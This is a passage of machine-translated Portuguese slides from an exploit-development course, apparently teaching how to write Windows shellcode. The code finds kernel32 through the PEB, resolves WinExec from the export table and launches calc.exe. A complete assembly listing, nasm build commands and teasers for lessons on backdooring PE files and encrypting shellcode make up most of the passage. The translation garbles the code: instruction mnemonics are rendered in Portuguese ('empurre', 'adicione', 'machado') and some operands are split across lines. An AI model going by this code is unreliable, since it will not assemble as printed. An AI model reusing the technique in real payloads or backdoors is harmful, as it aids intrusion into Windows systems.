Vamos voltar nossa atenção para a rotina de busca de
funções; precisamos refletir o algoritmo de passagem de
estrutura que acabamos de descrever.
O name push do Winexec também será implementado nele.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.87
Machine Translated by Google
[Link] Buscando a Função
mov eax, [ebx + 3Ch] ; RVA de assinatura PE
adicione eax, ; Endereço da assinatura PE = base
endereço ebx + RVA da assinatura PE
mov eax, [eax + 78h] ; RVA da Tabela de Exportação
adicione eax, ebx ; Endereço da Tabela de Exportação
mov ecx, [eax + 24h] ; RVA da Tabela Ordinal
adicionar ecx, ebx ; Endereço da Tabela Ordinal
mov [ebp-0Ch], ecx ; var12 = Endereço da Tabela Ordinal
mov edi, [eax + 20h] ; RVA da tabela de ponteiros de nomes
adicione edi, ebx ; Endereço da tabela de ponteiros de nomes
mov [ebp-10h], edi ; var16 = Endereço da tabela de ponteiros de nomes
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.88
Machine Translated by Google
[Link] Buscando a Função
mov edi, [eax + 20h] ; RVA da tabela de ponteiros de nomes
adicione edi, ebx ; Endereço da tabela de ponteiros de nomes
mov [ebp-10h], edição ; var16 = Endereço do ponteiro do nome
Mesa
mov edx, [eax + 1Ch] ; RVA da Tabela de Endereços
adicionar edx, ebx ; Endereço da tabela de endereços
mov [ebp-14h], edx ; var20 = Endereço da Tabela de Endereços
mov edx, [eax + 14h] ; Número de funções exportadas
xor eax, eax ; contador = 0
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.89
Machine Translated by Google
[Link] Buscando a Função
.laço:
mov edi, [ebp-10h] ; edi = var16 = Endereço da tabela de ponteiros de nomes
mov esi, [ebp-4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; definir DF = 0 => processar strings da esquerda para a direita
mov edi, [edi + eax*4] ; As entradas na tabela de ponteiros de nomes têm 4 bytes de comprimento
; edi = RVA Enésima entrada = Endereço da Tabela de Nomes * 4
adicione edi, ebx ; edi = endereço da string = endereço base + RVA enésima entrada
adicione cx, 8 ; Comprimento das strings para comparar (len('WinExec') = 8)
repe cmpsb ; Compare os primeiros 8 bytes de strings em ; registros esi e edi. ZF=1
se for igual, ZF=0 se não
jz [Link]
aumento eax ; contador++
cmp eax, edx jb ; verifique se a última função foi alcançada
[Link] ; se não for o último -> loop
adicionar esp, 26h
jmp iní[Link] ; se a função não for encontrada, pule para o final
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.90
Machine Translated by Google
[Link] Buscando a Função
.encontrado:
; o contador (eax) agora ocupa a posição de WinExec
mov ecx, [ebp-0Ch] mov edx, ; ecx = var12 = Endereço da tabela ordinal
[ebp-14h] ; edx = var20 = Endereço da Tabela de Endereços
mov machado, [ecx + eax*2] ; machado = número ordinal = var12 + (contador * 2)
mov eax, [edx + eax*4] ; eax = RVA da função = var20 + (ordinal * 4)
adicione eax, ebx ; eax = endereço do WinExec =
; = endereço base [Link] + RVA do WinExec
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.91
Machine Translated by Google
[Link] Buscando a Função
Ao final do shellcode resultante, o endereço do WinExec será
mantido em EAX. A última coisa que precisamos fazer é colocar o
argumento do WinExec (o binário que queremos executar) na pilha.
Também usaremos o segundo argumento, estado da janela neste caso, e
usaremos seu valor padrão SW_SHOWDEFAULT, que também pode ser
passado como o número “10”.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.92
Machine Translated by Google
[Link] Finalizando o Shellcode
Enviaremos todo o caminho para o binário. Como ele está perfeitamente
alinhado com 4 bytes, não precisaremos fazer o truque push – podemos
enviar com segurança um registro com valor zero e então enviar todo o
caminho em porções de 4 bytes.
xor edx, edx
empurrar edx ; rescisão nula
empurre 6578652eh
empurre 636c6163h
empurre 5c32336dh
empurre 65747379h
empurre 535c7377h
empurre 6f646e69h
empurre 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\[Link]"
pressione 10; estado da janela SW_SHOWDEFAULT push
esi ; "C:\Windows\System32\[Link]"
chame eax; WinExec
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.93
Machine Translated by Google
[Link] Finalizando o Shellcode
No final, equiparemos o shellcode com seu próprio stack frame, pois
não queremos bagunçar o programa – o shellcode é bem grande,
então é uma boa prática manter a pilha limpa após terminar.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.94
Machine Translated by Google
[Link] Finalizando o Shellcode
Construiremos um quadro de pilha no início, salvaremos todos
os estados de registro antes de fazer qualquer coisa e, no final, os
registros serão restaurados e o quadro de pilha será removido.
Vamos adicioná-lo ao código e juntar todas as peças para obter
um shellcode funcional baseado em peb.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.95
Machine Translated by Google
5.2.4 Código Fonte
[BITS 32]
começar:
empurre eax; Salvar todos os registros push
ebx push
ecx push
edx push esi
push edi
empurrar ebp
; Estabeleça um novo quadro de pilha
push ebp mov
ebp, esp sub esp, 18h
variáveis locais ; Alocar memória na pilha para
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.96
Machine Translated by Google
5.2.4 Código Fonte
xor esi, esi
mov esi, 0x01646679
subesi, 0x01010101
empurre esi
empurre 456e6957h; coloque o nome da função na pilha; var4 = "WinExec\x00" mov
[ebp-4], esp
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.97
Machine Translated by Google
5.2.4 Código Fonte
; Encontre o endereço base [Link]
xor esi, esi ; esi = 0
mov ebx, [fs:30h + esi] ; escrito desta forma para evitar bytes nulos
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx contém endereço base [Link]
mov [ebp-8], ebx ; var8 = endereço base [Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.98
Machine Translated by Google
5.2.4 Código Fonte
; Encontre o endereço WinExec
mov eax, [ebx + 3Ch] ; RVA de assinatura PE
adicione eax, ebx ; Endereço da assinatura PE = endereço base + RVA do PE
assinatura
mov eax, [eax + 78h] ; RVA da Tabela de Exportação
adicione eax, ebx ; Endereço da Tabela de Exportação
mov ecx, [eax + 24h] ; RVA da Tabela Ordinal
adicionar ecx, ebx ; Endereço da Tabela Ordinal
mov [ebp-0Ch], ecx ; var12 = Endereço da Tabela Ordinal
mov edi, [eax + 20h] adicionar edi, ; RVA da tabela de ponteiros de nomes
ebx ; Endereço da tabela de ponteiros de nomes
mov [ebp-10h], edição ; var16 = Endereço da tabela de ponteiros de nomes
mov edx, [eax + 1Ch] ; RVA da Tabela de Endereços
adicionar edx, ebx ; Endereço da tabela de endereços
mov [ebp-14h], edx ; var20 = Endereço da Tabela de Endereços
mov edx, [eax + 14h] ; Número de funções exportadas
xor eax, eax ; contador = 0
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.99
Machine Translated by Google
5.2.4 Código Fonte
.laço:
mov edi, [ebp-10h] ; edi = var16 = Endereço da tabela de ponteiros de nomes
mov esi, [ebp-4] ; esi = var4 = "WinExec\x00"
xor ecx, ecx
cld ; definir DF = 0 => processar strings da esquerda para a direita
mov edi, [edi + eax*4] ; As entradas na tabela de ponteiros de nomes têm 4 bytes de comprimento
; edi = RVA Enésima entrada = Endereço da Tabela de Nomes * 4
adicione edi, ebx ; edi = endereço da string = endereço base + RVA enésima entrada
adicione cx, 8 ; Comprimento das strings para comparar (len('WinExec') = 8)
repe cmpsb ; Compare os primeiros 8 bytes de strings em ; registros esi e edi. ZF=1
se for igual, ZF=0 se não
jz [Link]
aumento eax ; contador++
cmp eax, edx jb ; verifique se a última função foi alcançada
[Link] ; se não for o último -> loop
adicionar esp, 26h
jmp iní[Link] ; se a função não for encontrada, pule para o final
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.100
Machine Translated by Google
5.2.4 Código Fonte
.encontrado:
; o contador (eax) agora ocupa a posição de WinExec
mov ecx, [ebp-0Ch] ; ecx = var12 = Endereço da tabela ordinal
mov edx, [ebp-14h] ; edx = var20 = Endereço da Tabela de Endereços
mov machado, [ecx + eax*2] ; machado = número ordinal = var12 + (contador * 2)
mov eax, [edx + eax*4] ; eax = RVA da função = var20 + (ordinal * 4)
adicione eax, ebx ; eax = endereço do WinExec =
; = endereço base [Link] + RVA do WinExec
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.101
Machine Translated by Google
5.2.4 Código Fonte
xor edx, edx
empurrar ; rescisão nula
edx empurrar 6578652eh
empurre 636c6163h
empurre 5c32336dh
empurre 65747379h
empurre 535c7377h
empurre 6f646e69h
empurre 575c3a43h
mov esi, esp ; esi -> "C:\Windows\System32\[Link]"
empurre ; estado da janela SW_SHOWDEFAULT
10 empurre esi ; "C:\Windows\System32\[Link]"
ligue para eax ; WinExec
adicionar esp, 46h ; limpar a pilha
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.102
Machine Translated by Google
5.2.4 Código Fonte
.fim:
pop ebp ; restaure todos os registros e saia
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
ret
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.103
Machine Translated by Google
5.2.4 Código Fonte
Ao terminar, é hora de compilar o shellcode usando
nasm, conforme segue.
nasm [Link] –o [Link]
Também extrairemos os opcodes para colá-los no programa
testador de shellcode, como segue.
python [Link] [Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.104
Machine Translated by Google
5.2.4 Código Fonte
Veremos que o cálculo aparece! No entanto, temos que lidar com a
saída feia, pois não temos um retorno claro do shellcode.
Você pode criar lógica ausente?
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.105
Machine Translated by Google
Você tem estudado bastante .
Recomendamos fazer uma pausa
rápida e voltar revigorado. Existem
vários vídeos e laboratórios
interessantes a seguir! ÿ
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.106
Machine Translated by Google
Vídeo nº 1
Backdoor de arquivos PE -
Parte 1
Neste vídeo, a primeira parte da
série, abordaremos os fundamentos do
contrabando de um código backdoor
dentro de um aplicativo
legítimo sem alterar seu comportamento,
para que qualquer usuário deste
aplicativo não saiba que o aplicativo que
ele executa contém um código malicioso
oculto. código.
*Os vídeos estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em sua área de membros
e clique no menu suspenso de recursos na linha do módulo apropriado. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.107
Machine Translated by Google
Vídeo nº 2
Backdoor de arquivos PE -
Parte 2
Tentaremos identificar
áreas não utilizadas no
aplicativo para que
possamos colocar o código
do backdoor lá também.
*Os vídeos estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em sua área de membros
e clique no menu suspenso de recursos na linha do módulo apropriado. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.108
Machine Translated by Google
Vídeo nº 3
Backdoor de arquivos PE -
Parte 3
Neste vídeo, criptografaremos
o shellcode e implementaremos uma
lógica de descriptografia em
tempo de execução.
*Os vídeos estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em sua área de membros
e clique no menu suspenso de recursos na linha do módulo apropriado. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.109
Machine Translated by Google
Laboratório Hera
Código Shell do Windows
Neste laboratório,
você praticará a escrita
e execução de shellcode
do Windows.
*Os laboratórios estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em sua área de membros
e clique no menu suspenso de laboratórios na linha do módulo apropriado ou nas guias de laboratórios virtuais na navegação
esquerda. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.110
Machine Translated by Google
Referências
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.111
Machine Translated by Google
Referências
Index of /pub/nasm/releasebuilds
[Link]
[Link]
[Link]
Arwin
[Link]
windows-exploits/arwin.c
[Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.112
Machine Translated by Google
Referências
Função WinExec
[Link]
Segurança Fuzzy - Parte 6: Escrevendo shellcode W32
[Link]
Noções básicas de escrita de shellcode do Windows
[Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.113
Machine Translated by Google
Vídeos
Backdoor de arquivos PE - Parte 1
Neste vídeo, a primeira parte da série, abordaremos os fundamentos do contrabando
de um código backdoor dentro de um aplicativo legítimo sem alterar seu comportamento, para que
qualquer usuário deste aplicativo não saiba que o aplicativo que ele executa contém
um código malicioso oculto. código.
Backdoor de arquivos PE - Parte 2
Tentaremos identificar áreas não utilizadas no aplicativo para que possamos colocar o código do
backdoor lá também.
*Os vídeos estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em sua área de membros
e clique no menu suspenso de recursos na linha do módulo apropriado. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.114
Machine Translated by Google
Vídeos
Backdoor de arquivos PE - Parte 3
Neste vídeo, criptografaremos o shellcode e implementaremos uma lógica de descriptografia em tempo de
execução.
*Os vídeos estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em sua área de membros
e clique no menu suspenso de recursos na linha do módulo apropriado. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.115
Machine Translated by Google
Laboratórios
Código Shell do Windows
Neste laboratório, você praticará a escrita e execução de shellcode do Windows.
*Os laboratórios estão disponíveis apenas nas edições Full ou Elite do curso. Para acessar, acesse o curso em
sua área de membros e clique no menu suspenso de laboratórios na linha do módulo apropriado ou nas guias
de laboratórios virtuais na navegação esquerda. Para atualizar, clique em LINK.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.116